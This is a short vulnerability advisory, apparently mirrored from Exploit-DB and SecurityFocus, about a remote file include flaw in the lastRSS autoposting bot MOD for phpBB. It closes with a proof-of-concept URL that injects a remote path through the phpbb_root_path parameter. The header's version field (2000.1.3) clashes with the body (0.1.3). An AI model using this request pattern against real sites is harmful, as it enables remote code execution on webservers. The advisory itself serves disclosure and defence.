lastRSS autoposting bot MOD Remote File Include Vulnerability

vendor:

lastRSS autoposting bot MOD

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: lastRSS autoposting bot MOD

Affected Version From: 2000.1.3

Affected Version To: 2000.1.3

Patch Exists: NO

Related CWE: N/A

CPE: lastRSS autoposting bot MOD

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

lastRSS autoposting bot MOD Remote File Include Vulnerability

lastRSS autoposting bot MOD is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct paths to system files.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/33843/info

lastRSS autoposting bot MOD is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

This issue affects lastRSS autoposting bot MOD 0.1.3; other versions may also be vulnerable. 

http://www.example.com/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=[evil_code]